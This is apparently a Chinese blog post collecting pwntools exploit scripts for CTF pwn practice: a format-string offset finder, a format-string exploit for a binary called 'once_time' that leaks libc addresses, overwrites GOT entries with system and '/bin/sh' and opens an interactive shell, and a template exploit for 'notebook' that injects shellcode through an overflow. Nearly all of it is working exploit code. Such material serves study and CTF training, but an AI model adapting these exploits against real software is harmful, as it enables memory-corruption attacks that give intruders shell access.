平时有很多pwn的exp编写脚本,通过看这些脚本,可以学习怎么快速编写exp,同时可以熟悉pwntools的使用。
格式化字符串漏洞n 检测脚本
#coding:utf-8
from pwn import *
test_str = '88888888'
'''
这个代码适用于linux64位格式化字符串漏洞。
这个代码主要是为了找到输入点所在的栈区的下一个8字节区所对应的n。
即 aaa%n$lx88888888中'88888888'对应的n值。
运行之后 grep '#####'。
当能用%p的时候用这个
fmt = '%{n}$lp'.format(n = str(i))
p.recvuntil('0x',timeout=0.1)
注:发送payload和接收payload的时机要根据实际情况调整。
'''
'''
实例的输出:
root@HSH1000070537:~/pwn# ./fake-cgi
Who r u?
aaa
welcome!aaa111
111
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
Content-Length: 23
Server: EasyServer (Linux)
'''
def test_n(i):
print('no.%d try!' %i)
p = process('./fake-cgi')
fmt = '%{n}$lp'.format(n = str(i)) # %p能用,否则换成 fmt = '%{n}$lx'.format(n = str(i))
payload = 'a'*(8-len(fmt)) +fmt + test_str
p.sendlineafter('u?',payload) #根据情况调整
#根据情况调整中间的逻辑
p.recvuntil('0x',timeout=0.1) # %p ,否则换成 p.recvuntil('a'*(8-len(fmt)),timeout=0.1)
get_str = p.recv(16)
if get_str.endswith('383838383838'):
success('##### the n = '+str(i)+', recv: '+get_str+" #####")
#p.sendline('111')
p.kill()
return True
#p.sendline('111')
p.kill()
return False
#print(i,hex(addr))
def get_n(r1 = 7,r2 = 15):
for i in range(r1,r2+1):
try:
if test_n(i):
return "[+]find it! n = %s" %i
except Exception as e:
return '[-]somethig error!'
get_n()
格式化漏洞exp实例
#coding:utf-8
from pwn import *
import sys,time
#context.log_level = "debug"
def get_flag():
p = process('./once_time')
p.recvuntil('input your name: ')
p.sendline('D')
p.recvline()
p.recvuntil('leave a msg: ')
#到达buff的偏移是6,buff大小是24
stack_chk_fail_got = 0x601020 #0x00000000004006c6
vun_addr = 0x4008c5
read_got = 0x601040
fmt = '%2245c%8$hn' + '%9$s' + '\n'
fmt += (16 - len(fmt))*'A'
fmt += p64(stack_chk_fail_got) + p64(read_got)
p.send(fmt)
data = p.recvline()
data = data[len(data)-7:-1]
read_addr = u64(data + '\x00\x00')
read_offset = 0xf7220
puts_got = 0x601018
system_offset = 0x45390
libcbase = read_addr - read_offset
print 'libcbase = %x'%libcbase
system_addr = libcbase + system_offset
sh = libcbase + 0x18cd17
#0x00400a83: pop rdi ; ret
pop_rdi = 0x00400a83
#0x00400a80: pop r14 ; pop r15 ; ret
ppr = 0x00400a80
#second fmt
#改写puts_got为ppr,由于puts_got并没有被dl_rev填充还是plt+6只需要修改后2字节为a80
fmt = '%' + str(0xa80) + 'c'
fmt += '%8$hn'
fmt += (16-len(fmt))*'A'
fmt += p64(puts_got)
fmt += (32-len(fmt))*'A'
p.send(fmt)
#third fmt
fmt = '%'+'p'*7
fmt += p64(pop_rdi)
fmt += p64(sh)
fmt += p64(system_addr)
p.send(fmt)
p.clean()
p.interactive()
####### 重点学习 ########################
def write(addr,value):
offset_list = [0,16,32]
for index,offset in enumerate([0,16,32]):
wait_to_write = (value >> offset) & 0xffff
payload = ('%' + str(wait_to_write) + 'c%8$hn').ljust(16,' ') + p64(addr + index*2) + p64(0xaabbccdd)
io.send(payload)
time.sleep(0.2)
io.clean()
##### 重点学习 ####
io = process("./once_time")
elf = io.elf
libc = elf.libc
#### ##### ####################
io.recvuntil("name: ")
io.send("icsltest")
io.recvuntil("msg: ")
# raw_input()
# io.send('AAAA%6$x') # AAAA41414141
# print io.clean()
vuln_fuc_addr = 0x4008c5
call_setvbuf = 0x400856
stack_chk_got = 0x601020 # objdump -dj.plt ./once_time | grep -A 5 stack_chk
setvbuf_got = 0x601058
stdin_addr = 0x601088
# change the got value of *0x601020==0x4006c6 to vuln func addr 0x4008c5
# so only last two byte 0x8c5==2245 to write
# leak setvbuf addr and got libc base
payload = ("%2245c%8$hn" + "%9$s").ljust(16, " ") + p64(stack_chk_got) + p64(setvbuf_got)
io.send(payload)
data = io.recvuntil("msg: ")
setvbuf_addr = u64(data.strip()[1:1+6].ljust(8,'\x00'))
libc_base = setvbuf_addr - libc.sym['setvbuf'] # objdump -T /lib/x86_64-linux-gnu/libc-2.23.so | grep setvbuf
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + list(libc.search("/bin/sh"))[0] # strings -a -t x /lib/x86_64-linux-gnu/libc-2.23.so | grep /bin/sh
log.info('libc base : ' + hex(libc_base))
log.info('system addr : ' + hex(system_addr))
log.info('/bin/sh addr : ' + hex(binsh_addr))
# change .bss stdin to /bin/sh addr
# change got of setvbuf to system addr
write(stdin_addr,binsh_addr)
write(setvbuf_got,system_addr)
# change the got value of *0x601020==0x4006c6 to vuln func addr 0x400856
# so only last two byte 0x856==2134 to write
payload = '%2134c%8$hn'.ljust(16, " ") + p64(stack_chk_got) + p64(0xaabbccdd)
io.send(payload)
io.clean()
log.info('getshell...')
io.interactive()
好的exp格式,方便调试
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
context.arch = 'i386'
context.endian = 'little'
p = process('./notebook')
p = process('', env={'LD_PRELOAD': ''})
gdb.attach(p)
s = lambda a: p.send(str(a))
sa = lambda a, b: p.sendafter(str(a), str(b))
st = lambda a, b: p.sendthen(str(a), str(b))
sl = lambda a: p.sendline(str(a))
sla = lambda a, b: p.sendlineafter(str(a), str(b))
slt = lambda a, b: p.sendlinethen(str(a), str(b))
r = lambda a=4096: p.recv(a)
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(str(a))
irt = lambda: p.interactive()
def choice(idx):
def wrap(f):
def go(*args,**kargs):
sla("> ", idx)
f(*args,**kargs)
return go
return wrap
@choice(1)
def show():
pass
@choice(2)
def add(length, data):
sla('of URL: ', length)
sla('URL: ', data)
@choice(5)
def export(email):
sla('Your Email:', email)
email_bss = 0x804BC80
export(asm(shellcraft.linux.sh()))
add(400, 'http://%\x00' + cyclic(277) + p32(email_bss))
show()
irt()
网友评论